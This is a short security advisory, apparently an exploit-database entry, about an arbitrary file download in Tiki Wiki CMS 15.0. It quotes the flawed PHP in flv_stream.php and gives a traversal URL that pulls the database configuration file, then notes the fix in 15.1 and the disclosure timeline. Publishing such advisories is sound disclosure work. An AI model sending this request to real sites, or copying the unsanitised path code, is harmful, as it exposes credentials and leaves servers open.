57 lines
No EOL
1.4 KiB
Text
57 lines
No EOL
1.4 KiB
Text
# Exploit Title: Tiki Wiki CMS 15.0 Arbitrary File Download
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# Date: 11-07-2016
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# Software Link: https://tiki.org
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# Exploit Author: Kacper Szurek
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# Contact: http://twitter.com/KacperSzurek
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# Website: http://security.szurek.pl/
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# Category: webapps
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1. Description
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Using `flv_stream.php` file from `vendor` directory we can download any file.
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http://security.szurek.pl/tiki-wiki-cms-150-arbitrary-file-download.html
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File: tiki-15.0\vendor\player\flv\flv_stream.php
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<?php
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session_cache_limiter('nocache');
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header('Expires: Thu, 19 Nov 1981 08:52:00 GMT');
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header('Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0');
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header('Pragma: no-cache');
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$position = $_GET['position'];
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$filename = dirname(__FILE__).'/'.htmlspecialchars($_GET['file']);
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if (file_exists($filename)) {
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header('Content-Type: video/x-flv');
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if ($position != 0) {
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echo 'FLV', pack('CCNN', 1, 1, 9, 9);
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}
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$file = fopen($filename, "rb");
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fseek($file, $position);
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while (!feof($file)) {
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echo fread($file, 16384);
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}
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fclose($file);
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} else {
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echo 'The file does not exist';
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}
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?>
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2. Proof of Concept
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Example for downloading database configuration:
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http://tiki/vendor/player/flv/flv_stream.php?file=../../../db/local.php&position=0
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3. Solution:
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Update to version 15.1
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Timeline:
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01-06-2016: Discovered
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01-06-2016: Vendor notified
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08-06-2016: Version 15.1 released, issue resolved |